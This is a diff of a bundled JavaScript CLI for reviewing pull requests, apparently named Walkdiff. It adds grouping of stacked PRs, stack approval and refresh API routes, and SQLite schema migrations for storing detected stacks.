11684
+ async function approve({ member, host, analyzed }, body) {
11685
+ try {
11686
+ const { url } = await host.submitReview({
11687
+ event: ReviewEvent.Approve,
11688
+ body,
11689
+ headSha: analyzed.headSha,
11690
+ comments: []
11691
+ });
11692
+ return {
11693
+ outcome: ApprovalOutcome.Posted,
11694
+ reviewId: member.id,
11695
+ url
11696
+ };
11697
+ } catch (error) {
11698
+ if (!(error instanceof HostApiError)) throw error;
11699
+ return {
11700
+ outcome: ApprovalOutcome.Refused,
11701
+ reviewId: member.id,
11702
+ error: error.message
11703
+ };
11704
+ }
11705
+ }
9551
11706
  const API_KEY_META = "walkdiff-api-key";
9552
11707
  const HOME_META = "walkdiff-home";
9553
11708
  const REVIEW_ID_META = "walkdiff-review-id";
@@ -9665,6 +11820,28 @@ async function handleApi(request, response, pathname, context) {
9665
11820
  await attachCoverageReports(request, response, Number(coverage[1]), context);
9666
11821
  return;
9667
11822
  }
11823
+ const reviewStack = /^\/api\/reviews\/(\d+)\/stack$/.exec(pathname);
11824
+ if (reviewStack !== null) {
11825
+ await handleStackOffer(request, response, Number(reviewStack[1]), context);
11826
+ return;
11827
+ }
11828
+ const stack = /^\/api\/stacks\/(\d+)$/.exec(pathname);
11829
+ if (stack !== null && (method === "GET" || method === "DELETE")) {
11830
+ await handleStack(response, method, Number(stack[1]), context);
11831
+ return;
11832
+ }
11833
+ const stackApprove = /^\/api\/stacks\/(\d+)\/approve(\/check)?$/.exec(pathname);
11834
+ if (stackApprove !== null && method === "POST") {
11835
+ const stackId = Number(stackApprove[1]);
11836
+ const run = stackApprove[2] === void 0 ? approveStack : checkApproval;
11837
+ await answerApproval(request, response, (approval) => run(context.store, stackId, approval, context.hostFor));
11838
+ return;
11839
+ }
11840
+ const stackRefresh = /^\/api\/stacks\/(\d+)\/refresh$/.exec(pathname);
11841
+ if (stackRefresh !== null && method === "POST") {
11842
+ await refreshStack(response, Number(stackRefresh[1]), context);
11843
+ return;
11844
+ }
9668
11845
  const action = /^\/api\/reviews\/(\d+)\/(conversation|submit)$/.exec(pathname);
9669
11846
  if (action !== null) {
9670
11847
  await handleReviewAction(request, response, Number(action[1]), action[2] ?? "", context);
@@ -9683,12 +11860,86 @@ async function handleApi(request, response, pathname, context) {
9683
11860
  return;
9684
11861
  }
9685
11862
  if (match !== null && method === "DELETE" && match[2] === void 0) {
9686
- context.store.remove(id);
11863
+ context.service.remove(id);
9687
11864
  sendJson(response, 200, {});
9688
11865
  return;
9689
11866
  }
9690
11867
  sendJson(response, 404, { error: "Not found" });
9691
11868
  }
11869
+ /** POST accepts the stack found from a review, DELETE turns it down for now. */
11870
+ async function handleStackOffer(request, response, id, context) {
11871
+ if (request.method === "DELETE") {
11872
+ const review = context.service.dismissStackOffer(id);
11873
+ sendJson(response, review === void 0 ? 404 : 200, review ?? { error: "No such review" });
11874
+ return;
11875
+ }
11876
+ if (request.method !== "POST") {
11877
+ sendJson(response, 404, { error: "Not found" });
11878
+ return;
11879
+ }
11880
+ const parsed = acceptStackRequestSchema.safeParse(await readJsonBody(request));
11881
+ if (!parsed.success) {
11882
+ sendJson(response, 400, { error: "Expected whether to include AI review" });
11883
+ return;
11884
+ }
11885
+ const review = context.service.acceptStack(id, parsed.data);
11886
+ sendJson(response, review === void 0 ? 404 : 202, review ?? { error: "No such review" });
11887
+ }
11888
+ /** GET reads a stack's state from the host; DELETE ungroups it, keeping the reviews. */
11889
+ async function handleStack(response, method, id, context) {
11890
+ if (method === "DELETE") {
11891
+ sendJson(response, context.service.ungroup(id) ? 200 : 404, {});
11892
+ return;
11893
+ }
11894
+ const view = await readStackView(context.store, id, context.hostFor);
11895
+ sendJson(response, view === void 0 ? 404 : 200, view ?? { error: "No such stack" });
11896
+ }
11897
+ /** Reads the stack's state from the host, and re-runs the members it shows are out of date. */
11898
+ async function refreshStack(response, id, context) {
11899
+ const view = await readStackView(context.store, id, context.hostFor);
11900
+ if (view === void 0) {
11901
+ sendJson(response, 404, { error: "No such stack" });
11902
+ return;
11903
+ }
11904
+ refreshChanged(view, context);
11905
+ sendJson(response, 202, view);
11906
+ }
11907
+ /**
11908
+ * Answers an approval of stack members: posting them (`/approve`), or only checking that every one
11909
+ * is still what the reviewer saw (`/approve/check`), so the page can then post them one at a time
11910
+ * and show each result as it comes.
11911
+ */
11912
+ async function answerApproval(request, response, run) {
11913
+ const parsed = approveStackRequestSchema.safeParse(await readJsonBody(request));
11914
+ if (!parsed.success) {
11915
+ sendJson(response, 400, { error: parsed.error.issues.at(0)?.message ?? "This approval isn't valid" });
11916
+ return;
11917
+ }
11918
+ const result = await run(parsed.data);
11919
+ switch (result.kind) {
11920
+ case ApproveKind.NoStack:
11921
+ sendJson(response, 404, { error: "No such stack" });
11922
+ return;
11923
+ case ApproveKind.Blocked:
11924
+ sendJson(response, 409, {
11925
+ error: "Nothing was posted: some PRs aren't as you saw them.",
11926
+ blocked: result.blocked
11927
+ });
11928
+ return;
11929
+ case ApproveKind.Ready:
11930
+ sendJson(response, 200, { ready: result.checked.map(({ member }) => member.id) });
11931
+ return;
11932
+ case ApproveKind.Done: sendJson(response, 200, { results: result.results });
11933
+ }
11934
+ }
11935
+ /** Re-runs the members whose reports are out of date, leaving alone those already waiting or running. */
11936
+ function refreshChanged(view, context) {
11937
+ for (const member of view.members) {
11938
+ if (member.check !== MemberCheck.Checked || member.reportChange === ReportChange.None) continue;
11939
+ const status = context.store.get(member.reviewId)?.status;
11940
+ if (status !== ReviewStatus.Queued && status !== ReviewStatus.Analyzing) context.service.refresh(member.reviewId);
11941
+ }
11942
+ }
9692
11943
  async function settingsView(context) {
9693
11944
  return {
9694
11945
  settings: context.store.getSettings(),
@@ -9767,8 +12018,7 @@ async function submitReview(request, response, host) {
9767
12018
  sendJson(response, 400, { error: parsed.error.issues.at(0)?.message ?? "This review isn't valid" });
9768
12019
  return;
9769
12020
  }
9770
- const { pullRequest } = await host.fetchPullRequest();
9771
- if (pullRequest.headSha !== parsed.data.headSha) {
12021
+ if ((await host.fetchStatus()).headSha !== parsed.data.headSha) {
9772
12022
  sendJson(response, 409, { error: "This PR has new commits since this report was made. Nothing was posted. Refresh the review, and your comments will still be here." });
9773
12023
  return;
9774
12024
  }
@@ -9903,6 +12153,49 @@ function sendText(response, status, body) {
9903
12153
  });
9904
12154
  response.end(body);
9905
12155
  }
12156
+ // packages/cli/src/app/stacks.ts
12157
+ /** One row per PR, however its URL was pasted (`/files`, trailing slash, and so on). */
12158
+ function canonicalUrl(ref) {
12159
+ const path = ref.host === GitHostKind.GitHub ? "pull" : "-/merge_requests";
12160
+ return `${ref.webOrigin}/${repositoryPath(ref)}/${path}/${ref.number}`;
12161
+ }
12162
+ /**
12163
+ * The URL of another PR in the same repository. Stack members are only ever reached this way,
12164
+ * so whatever a host answers, the app and its token stay on the repository being reviewed.
12165
+ */
12166
+ function memberUrl(reviewed, number) {
12167
+ return canonicalUrl({
12168
+ ...reviewed,
12169
+ number
12170
+ });
12171
+ }
12172
+ /** What to offer for a detected stack: undefined when every member is grouped already or was turned down. */
12173
+ function stackOfferFor({ reviewed, detected, grouped, dismissed }) {
12174
+ const reviewedUrl = canonicalUrl(reviewed);
12175
+ const joining = detected.members.map((member) => member.number).filter((number) => !dismissed.has(number)).filter((number) => {
12176
+ const url = memberUrl(reviewed, number);
12177
+ return url !== reviewedUrl && !grouped.has(url);
12178
+ });
12179
+ return joining.length === 0 ? void 0 : {
12180
+ ...detected,
12181
+ joining
12182
+ };
12183
+ }
12184
+ /**
12185
+ * Orders a stack after a new detection: the detected members in the host's order, with members
12186
+ * it no longer lists, such as a merged bottom PR, kept just before the member that followed them.
12187
+ */
12188
+ function mergedOrder(previous, detected) {
12189
+ const order = [...detected];
12190
+ const inDetected = new Set(detected);
12191
+ for (let index = previous.length - 1; index >= 0; index--) {
12192
+ const url = previous[index];
12193
+ if (url === void 0 || inDetected.has(url) || order.includes(url)) continue;
12194
+ const next = previous.slice(index + 1).find((later) => order.includes(later));
12195
+ order.splice(next === void 0 ? order.length : order.indexOf(next), 0, url);
12196
+ }
12197
+ return order;
12198
+ }
9906
12199
  // packages/cli/src/app/reviewService.ts
9907
12200
  /**
9908
12201
  * Adds reviews and analyzes them one at a time. One at a time because analyses of the same
@@ -9911,15 +12204,17 @@ function sendText(response, status, body) {
9911
12204
  var ReviewService = class {
9912
12205
  #store;
9913
12206
  #generate;
12207
+ #findStack;
9914
12208
  #log;
9915
12209
  #waiting = [];
9916
12210
  /** Where each running analysis is. Only ever one entry while analyses run one at a time. */
9917
12211
  #steps = /* @__PURE__ */ new Map();
9918
12212
  #drained = Promise.resolve();
9919
12213
  #running = false;
9920
- constructor(store, generate, log) {
12214
+ constructor(store, { generate, findStack, log }) {
9921
12215
  this.#store = store;
9922
12216
  this.#generate = generate;
12217
+ this.#findStack = findStack;
9923
12218
  this.#log = log;
9924
12219
  }
9925
12220
  /**
@@ -9953,13 +12248,70 @@ var ReviewService = class {
9953
12248
  }
9954
12249
  return this.#store.get(id);
9955
12250
  }
9956
- /** The review list, with the step each running analysis is on. */
12251
+ /** The review list, with the step each running analysis is on and any stack to offer. */
9957
12252
  list() {
9958
- return this.#store.list().map((review) => ({
12253
+ const reviews = this.#store.list();
12254
+ const detections = this.#store.detections();
12255
+ const grouped = urlsByStack(reviews);
12256
+ return reviews.map((review) => ({
9959
12257
  ...review,
9960
- step: this.#steps.get(review.id) ?? null
12258
+ step: this.#steps.get(review.id) ?? null,
12259
+ stackOffer: offerOf(review, detections.get(review.id), grouped)
9961
12260
  }));
9962
12261
  }
12262
+ /** One review as the list shows it. Undefined if there is no such review. */
12263
+ summary(id) {
12264
+ return this.list().find((review) => review.id === id);
12265
+ }
12266
+ /**
12267
+ * Groups the review with every member of the stack found from it, adding those not on the list
12268
+ * yet with the AI choice made now. Members already on the list join without being analyzed
12269
+ * again. Does nothing more when there's no offer, so a second click is harmless. Undefined if
12270
+ * there is no such review.
12271
+ */
12272
+ acceptStack(id, request) {
12273
+ const review = this.summary(id);
12274
+ const offer = review?.stackOffer ?? null;
12275
+ if (review === void 0 || offer === null) return review;
12276
+ const reviewed = parsePullRequestUrl(review.url);
12277
+ const urls = offer.members.map((member) => memberUrl(reviewed, member.number));
12278
+ const stackId = review.stack?.id ?? urls.map((url) => this.#store.getByUrl(url)?.stack?.id).find((found) => found !== void 0) ?? this.#store.createStack(offer.trunk);
12279
+ for (const url of urls) if (this.#store.getByUrl(url) === void 0) this.add({
12280
+ url,
12281
+ ai: request.ai
12282
+ });
12283
+ const previous = this.#store.stackMembers(stackId).map((member) => member.url);
12284
+ this.#store.regroup(stackId, offer.trunk, mergedOrder(previous, urls));
12285
+ return this.summary(id);
12286
+ }
12287
+ /** "Not now": the members offered aren't offered again from this review. Undefined if there is no such review. */
12288
+ dismissStackOffer(id) {
12289
+ const offer = this.summary(id)?.stackOffer ?? null;
12290
+ if (offer !== null) this.#store.dismiss(id, offer.joining);
12291
+ return this.summary(id);
12292
+ }
12293
+ /**
12294
+ * Splits a stack back into single reviews. What each member found is turned down at the same
12295
+ * time, or every member would offer the stack straight back. False if there is no such stack.
12296
+ */
12297
+ ungroup(stackId) {
12298
+ if (this.#store.stack(stackId) === void 0) return false;
12299
+ for (const member of this.#store.stackMembers(stackId)) {
12300
+ const detection = this.#store.detectionOf(member.id);
12301
+ if (detection !== void 0) this.#store.dismiss(member.id, detection.stack.members.map(({ number }) => number));
12302
+ }
12303
+ this.#store.ungroup(stackId);
12304
+ return true;
12305
+ }
12306
+ /** Removes a review. Its stack doesn't offer it back: the reviewer just chose to drop it. */
12307
+ remove(id) {
12308
+ const review = this.#store.get(id);
12309
+ if (review?.stack != null) {
12310
+ const { number } = parsePullRequestUrl(review.url);
12311
+ for (const mate of this.#store.stackMembers(review.stack.id)) if (mate.id !== id) this.#store.dismiss(mate.id, [number]);
12312
+ }
12313
+ this.#store.remove(id);
12314
+ }
9963
12315
  /** Resolves once the queue is empty. */
9964
12316
  idle() {
9965
12317
  return this.#drained;
@@ -9979,9 +12331,11 @@ var ReviewService = class {
9979
12331
  const review = this.#store.get(id);
9980
12332
  if (review === void 0) return;
9981
12333
  this.#store.setStatus(id, ReviewStatus.Analyzing);
12334
+ const ref = parsePullRequestUrl(review.url);
12335
+ const detection = this.#detectStack(review, ref);
9982
12336
  try {
9983
12337
  const report = await this.#generate({
9984
- ref: parsePullRequestUrl(review.url),
12338
+ ref,
9985
12339
  ai: review.ai,
9986
12340
  attachedCoverage: this.#store.attachedCoverageOf(id),
9987
12341
  reportStep: (step) => this.#steps.set(id, step)
@@ -9994,12 +12348,36 @@ var ReviewService = class {
9994
12348
  } finally {
9995
12349
  this.#steps.delete(id);
9996
12350
  }
12351
+ await detection;
12352
+ }
12353
+ async #detectStack(review, ref) {
12354
+ try {
12355
+ const stack = await this.#findStack(ref);
12356
+ if (this.#store.get(review.id) !== void 0) this.#store.saveDetection(review.id, stack);
12357
+ } catch (error) {
12358
+ this.#log(`${review.displayName}: could not check whether it's part of a stack: ${error instanceof Error ? error.message : String(error)}`);
12359
+ }
9997
12360
  }
9998
12361
  };
9999
- /** One row per PR, however its URL was pasted (`/files`, trailing slash, and so on). */
10000
- function canonicalUrl(ref) {
10001
- const path = ref.host === "github" ? "pull" : "-/merge_requests";
10002
- return `${ref.webOrigin}/${repositoryPath(ref)}/${path}/${ref.number}`;
12362
+ function offerOf(review, detection, grouped) {
12363
+ if (detection === void 0) return null;
12364
+ const mates = review.stack === null ? void 0 : grouped.get(review.stack.id);
12365
+ return stackOfferFor({
12366
+ reviewed: parsePullRequestUrl(review.url),
12367
+ detected: detection.stack,
12368
+ grouped: mates ?? /* @__PURE__ */ new Set(),
12369
+ dismissed: detection.dismissed
12370
+ }) ?? null;
12371
+ }
12372
+ function urlsByStack(reviews) {
12373
+ const grouped = /* @__PURE__ */ new Map();
12374
+ for (const review of reviews) {
12375
+ if (review.stack === null) continue;
12376
+ const urls = grouped.get(review.stack.id) ?? /* @__PURE__ */ new Set();
12377
+ urls.add(review.url);
12378
+ grouped.set(review.stack.id, urls);
12379
+ }
12380
+ return grouped;
10003
12381
  }
10004
12382
  function summarize({ model, reportDir }) {
10005
12383
  const units = model.files.flatMap(changedUnitsOf);
@@ -10011,7 +12389,11 @@ function summarize({ model, reportDir }) {
10011
12389
  unitsToReview: units.filter((unit) => isBehaviourChange(unit.change)).length,
10012
12390
  untouchedReferences: units.reduce((sum, unit) => sum + untouchedReferences(unit).length, 0),
10013
12391
  findings: model.risk.findings.length,
10014
- coverageSource: model.testCoverage?.source ?? null
12392
+ coverageSource: model.testCoverage?.source ?? null,
12393
+ head: {
12394
+ headSha: model.pullRequest.headSha,
12395
+ baseRef: model.pullRequest.baseRef
12396
+ }
10015
12397
  };
10016
12398
  }
10017
12399
  // packages/cli/src/app/reviewStore.ts
@@ -10037,12 +12419,28 @@ const MIGRATIONS = [
10037
12419
  )`,
10038
12420
  `CREATE TABLE settings (id INTEGER PRIMARY KEY CHECK (id = 1), json TEXT NOT NULL)`,
10039
12421
  `ALTER TABLE reviews ADD COLUMN coverage_source TEXT`,
10040
- `ALTER TABLE reviews ADD COLUMN attached_coverage TEXT`
12422
+ `ALTER TABLE reviews ADD COLUMN attached_coverage TEXT`,
12423
+ `CREATE TABLE stacks (id INTEGER PRIMARY KEY, trunk TEXT NOT NULL, created_at TEXT NOT NULL)`,
12424
+ `ALTER TABLE reviews ADD COLUMN stack_id INTEGER REFERENCES stacks (id)`,
12425
+ `ALTER TABLE reviews ADD COLUMN stack_position INTEGER`,
12426
+ `ALTER TABLE reviews ADD COLUMN detected_stack TEXT`,
12427
+ `ALTER TABLE reviews ADD COLUMN dismissed_stack_members TEXT`,
12428
+ `ALTER TABLE reviews ADD COLUMN head_sha TEXT`,
12429
+ `ALTER TABLE reviews ADD COLUMN base_ref TEXT`
10041
12430
  ];
10042
12431
  const attachedCoverageSchema = z.object({
10043
12432
  headSha: z.string(),
10044
12433
  coverage: testCoverageSchema
10045
12434
  });
12435
+ const dismissedSchema = z.array(z.number().int().positive());
12436
+ const stackRowSchema = z.object({
12437
+ id: z.number(),
12438
+ trunk: z.string()
12439
+ });
12440
+ const countSchema = z.object({
12441
+ id: z.number(),
12442
+ members: z.number()
12443
+ });
10046
12444
  const settingsRowSchema = z.object({ json: z.string() });
10047
12445
  const INTERRUPTED_ERROR = "The app stopped during this analysis. Refresh to run it again.";
10048
12446
  const reviewRowSchema = z.object({
@@ -10062,6 +12460,12 @@ const reviewRowSchema = z.object({
10062
12460
  findings: z.number().nullable(),
10063
12461
  coverage_source: z.string().nullable(),
10064
12462
  attached_coverage: z.string().nullable(),
12463
+ stack_id: z.number().nullable(),
12464
+ stack_position: z.number().nullable(),
12465
+ detected_stack: z.string().nullable(),
12466
+ dismissed_stack_members: z.string().nullable(),
12467
+ head_sha: z.string().nullable(),
12468
+ base_ref: z.string().nullable(),
10065
12469
  created_at: z.string(),
10066
12470
  updated_at: z.string()
10067
12471
  });
@@ -10110,7 +12514,56 @@ var ReviewStore = class {
10110
12514
  }
10111
12515
  markReady(id, analysis) {
10112
12516
  this.#db.prepare(`UPDATE reviews SET status = ?, error = NULL, report_dir = ?, title = ?, author = ?, security_level = ?,
10113
- units_to_review = ?, untouched_references = ?, findings = ?, coverage_source = ?, updated_at = ? WHERE id = ?`).run(ReviewStatus.Ready, analysis.reportDir, analysis.title, analysis.author, analysis.securityLevel, analysis.unitsToReview, analysis.untouchedReferences, analysis.findings, analysis.coverageSource, this.#timestamp(), id);
12517
+ units_to_review = ?, untouched_references = ?, findings = ?, coverage_source = ?, head_sha = ?, base_ref = ?, updated_at = ? WHERE id = ?`).run(ReviewStatus.Ready, analysis.reportDir, analysis.title, analysis.author, analysis.securityLevel, analysis.unitsToReview, analysis.untouchedReferences, analysis.findings, analysis.coverageSource, analysis.head.headSha, analysis.head.baseRef, this.#timestamp(), id);
12518
+ }
12519
+ /** Records what the last detection found; undefined clears it, for a PR that now stands alone. */
12520
+ saveDetection(id, stack) {
12521
+ this.#db.prepare("UPDATE reviews SET detected_stack = ? WHERE id = ?").run(stack === void 0 ? null : JSON.stringify(stack), id);
12522
+ }
12523
+ /** Every review's last detection, by review id. */
12524
+ detections() {
12525
+ const rows = this.#db.prepare("SELECT * FROM reviews WHERE detected_stack IS NOT NULL").all().map((row) => reviewRowSchema.parse(row));
12526
+ return new Map(rows.flatMap((row) => {
12527
+ const detection = detectionOf(row);
12528
+ return detection === void 0 ? [] : [[row.id, detection]];
12529
+ }));
12530
+ }
12531
+ detectionOf(id) {
12532
+ const row = this.#parsedRow(id);
12533
+ return row === void 0 ? void 0 : detectionOf(row);
12534
+ }
12535
+ /** Adds to the members this review won't offer again. */
12536
+ dismiss(id, numbers) {
12537
+ const dismissed = /* @__PURE__ */ new Set([...dismissedOf(this.#parsedRow(id)), ...numbers]);
12538
+ this.#db.prepare("UPDATE reviews SET dismissed_stack_members = ? WHERE id = ?").run(JSON.stringify([...dismissed]), id);
12539
+ }
12540
+ createStack(trunk) {
12541
+ const { lastInsertRowid } = this.#db.prepare("INSERT INTO stacks (trunk, created_at) VALUES (?, ?)").run(trunk, this.#timestamp());
12542
+ return Number(lastInsertRowid);
12543
+ }
12544
+ stack(id) {
12545
+ const row = this.#db.prepare("SELECT id, trunk FROM stacks WHERE id = ?").get(id);
12546
+ return row === void 0 ? void 0 : stackRowSchema.parse(row);
12547
+ }
12548
+ /** Bottom first. */
12549
+ stackMembers(id) {
12550
+ return this.#db.prepare("SELECT * FROM reviews WHERE stack_id = ? ORDER BY stack_position, id").all(id).map(toSummary);
12551
+ }
12552
+ /** Makes the reviews with these URLs the stack's members, bottom first, from wherever they were before. */
12553
+ regroup(stackId, trunk, urls) {
12554
+ this.#inTransaction(() => {
12555
+ this.#db.prepare("UPDATE stacks SET trunk = ? WHERE id = ?").run(trunk, stackId);
12556
+ const place = this.#db.prepare("UPDATE reviews SET stack_id = ?, stack_position = ?, updated_at = ? WHERE url = ?");
12557
+ urls.forEach((url, index) => place.run(stackId, index + 1, this.#timestamp(), url));
12558
+ this.#dropLoneStacks();
12559
+ });
12560
+ }
12561
+ /** Keeps the reviews, ungrouped. */
12562
+ ungroup(stackId) {
12563
+ this.#inTransaction(() => {
12564
+ this.#db.prepare("UPDATE reviews SET stack_id = NULL, stack_position = NULL, updated_at = ? WHERE stack_id = ?").run(this.#timestamp(), stackId);
12565
+ this.#db.prepare("DELETE FROM stacks WHERE id = ?").run(stackId);
12566
+ });
10114
12567
  }
10115
12568
  /** Undefined when nothing is attached. */
10116
12569
  attachedCoverageOf(id) {
@@ -10124,7 +12577,10 @@ var ReviewStore = class {
10124
12577
  this.#db.prepare("UPDATE reviews SET status = ?, error = ?, updated_at = ? WHERE id = ?").run(ReviewStatus.Failed, error, this.#timestamp(), id);
10125
12578
  }
10126
12579
  remove(id) {
10127
- this.#db.prepare("DELETE FROM reviews WHERE id = ?").run(id);
12580
+ this.#inTransaction(() => {
12581
+ this.#db.prepare("DELETE FROM reviews WHERE id = ?").run(id);
12582
+ this.#dropLoneStacks();
12583
+ });
10128
12584
  }
10129
12585
  /** Analyses run in memory, so any still unfinished at startup were cut short by a restart. */
10130
12586
  markInterrupted() {
@@ -10151,6 +12607,26 @@ var ReviewStore = class {
10151
12607
  this.#db.exec(`PRAGMA user_version = ${version + index + 1}`);
10152
12608
  });
10153
12609
  }
12610
+ /** A stack of one is no longer a stack, as after its other members were removed or moved. */
12611
+ #dropLoneStacks() {
12612
+ const counts = this.#db.prepare("SELECT stacks.id AS id, COUNT(reviews.id) AS members FROM stacks LEFT JOIN reviews ON reviews.stack_id = stacks.id GROUP BY stacks.id").all();
12613
+ for (const { id, members } of counts.map((row) => countSchema.parse(row))) if (members < 2) this.ungroup(id);
12614
+ }
12615
+ /** Runs the statements together, so a failure part-way changes nothing. Nested calls join the outer one. */
12616
+ #inTransaction(act) {
12617
+ if (this.#db.isTransaction) {
12618
+ act();
12619
+ return;
12620
+ }
12621
+ this.#db.exec("BEGIN");
12622
+ try {
12623
+ act();
12624
+ this.#db.exec("COMMIT");
12625
+ } catch (error) {
12626
+ this.#db.exec("ROLLBACK");
12627
+ throw error;
12628
+ }
12629
+ }
10154
12630
  #row(id) {
10155
12631
  return this.#db.prepare("SELECT * FROM reviews WHERE id = ?").get(id);
10156
12632
  }
@@ -10169,6 +12645,7 @@ function toSummary(row) {
10169
12645
  url: parsed.url,
10170
12646
  host: parsed.host,
10171
12647
  displayName: parsed.display_name,
12648
+ number: parsePullRequestUrl(parsed.url).number,
10172
12649
  status: parsed.status,
10173
12650
  error: parsed.error,
10174
12651
  hasReport: parsed.report_dir !== null,
@@ -10180,10 +12657,31 @@ function toSummary(row) {
10180
12657
  untouchedReferences: parsed.untouched_references,
10181
12658
  findings: parsed.findings,
10182
12659
  coverageSource: parsed.coverage_source,
12660
+ reportHead: parsed.head_sha === null || parsed.base_ref === null ? null : {
12661
+ headSha: parsed.head_sha,
12662
+ baseRef: parsed.base_ref
12663
+ },
12664
+ stack: parsed.stack_id === null || parsed.stack_position === null ? null : {
12665
+ id: parsed.stack_id,
12666
+ position: parsed.stack_position
12667
+ },
10183
12668
  createdAt: parsed.created_at,
10184
12669
  updatedAt: parsed.updated_at
10185
12670
  });
10186
12671
  }
12672
+ /** Undefined when there is none, or when it was saved by a version that described stacks differently. */
12673
+ function detectionOf(row) {
12674
+ if (row.detected_stack === null) return void 0;
12675
+ const stack = pullRequestStackSchema.safeParse(JSON.parse(row.detected_stack));
12676
+ return stack.success ? {
12677
+ stack: stack.data,
12678
+ dismissed: dismissedOf(row)
12679
+ } : void 0;
12680
+ }
12681
+ function dismissedOf(row) {
12682
+ const json = row?.dismissed_stack_members ?? null;
12683
+ return new Set(json === null ? [] : dismissedSchema.parse(JSON.parse(json)));
12684
+ }
10187
12685
  // packages/cli/src/openBrowser.ts
10188
12686
  const WINDOWS_PLATFORM = "win32";
10189
12687
  const MAC_PLATFORM = "darwin";
@@ -10363,33 +12861,38 @@ async function runApp(options, deps) {
10363
12861
  await mkdir(dataDir, { recursive: true });
10364
12862
  const store = new ReviewStore(join(dataDir, DATABASE_FILE), deps.now);
10365
12863
  store.markInterrupted();
10366
- const server = await startAppServer(store, new ReviewService(store, async ({ ref, ai, attachedCoverage, reportStep }) => {
10367
- const settings = store.getSettings();
10368
- const model = await analyzePullRequest(ref, {
10369
- network: options.network,
10370
- coveragePath: void 0,
10371
- attachedCoverage,
10372
- ai: ai ? settings.ai : void 0,
10373
- disabledChecks: settings.disabledChecks
10374
- }, {
10375
- tokens: await hostTokensFor(ref, deps.env, runCommand),
10376
- cacheDir,
10377
- now: deps.now,
10378
- log: deps.log,
10379
- reportStep
10380
- });
10381
- const reportDir = defaultReportDir(cacheDir, ref);
10382
- await writeReport(model, reportDir);
10383
- return {
10384
- model,
10385
- reportDir
10386
- };
10387
- }, deps.log), {
12864
+ const hostFor = async (ref) => gitHostFor(ref, await hostTokensFor(ref, deps.env, runCommand));
12865
+ const server = await startAppServer(store, new ReviewService(store, {
12866
+ generate: async ({ ref, ai, attachedCoverage, reportStep }) => {
12867
+ const settings = store.getSettings();
12868
+ const model = await analyzePullRequest(ref, {
12869
+ network: options.network,
12870
+ coveragePath: void 0,
12871
+ attachedCoverage,
12872
+ ai: ai ? settings.ai : void 0,
12873
+ disabledChecks: settings.disabledChecks
12874
+ }, {
12875
+ tokens: await hostTokensFor(ref, deps.env, runCommand),
12876
+ cacheDir,
12877
+ now: deps.now,
12878
+ log: deps.log,
12879
+ reportStep
12880
+ });
12881
+ const reportDir = defaultReportDir(cacheDir, ref);
12882
+ await writeReport(model, reportDir);
12883
+ return {
12884
+ model,
12885
+ reportDir
12886
+ };
12887
+ },
12888
+ findStack: async (ref) => (await hostFor(ref)).fetchStack(),
12889
+ log: deps.log
12890
+ }), {
10388
12891
  port: options.port,
10389
12892
  log: deps.log,
10390
12893
  env: deps.env,
10391
12894
  offline: !options.network,
10392
- hostFor: async (ref) => gitHostFor(ref, await hostTokensFor(ref, deps.env, runCommand))
12895
+ hostFor
10393
12896
  });
10394
12897
  deps.log(`Walkdiff is running at ${server.url} (Ctrl+C to stop)`);
10395
12898
  if (options.open && canOpenBrowser(process.platform, deps.env)) openBrowser(server.url, deps.log);
@@ -10419,7 +12922,9 @@ const SECURITY_CHECKS = /* @__PURE__ */ new Set([
10419
12922
  "OSV database",
10420
12923
  "osv-scanner",
10421
12924
  "Dependency trust",
10422
- "zizmor"
12925
+ "zizmor",
12926
+ "poutine",
12927
+ "Ruff security rules"
10423
12928
  ]);
10424
12929
  const AlertKind = {
10425
12930
  Note: "NOTE",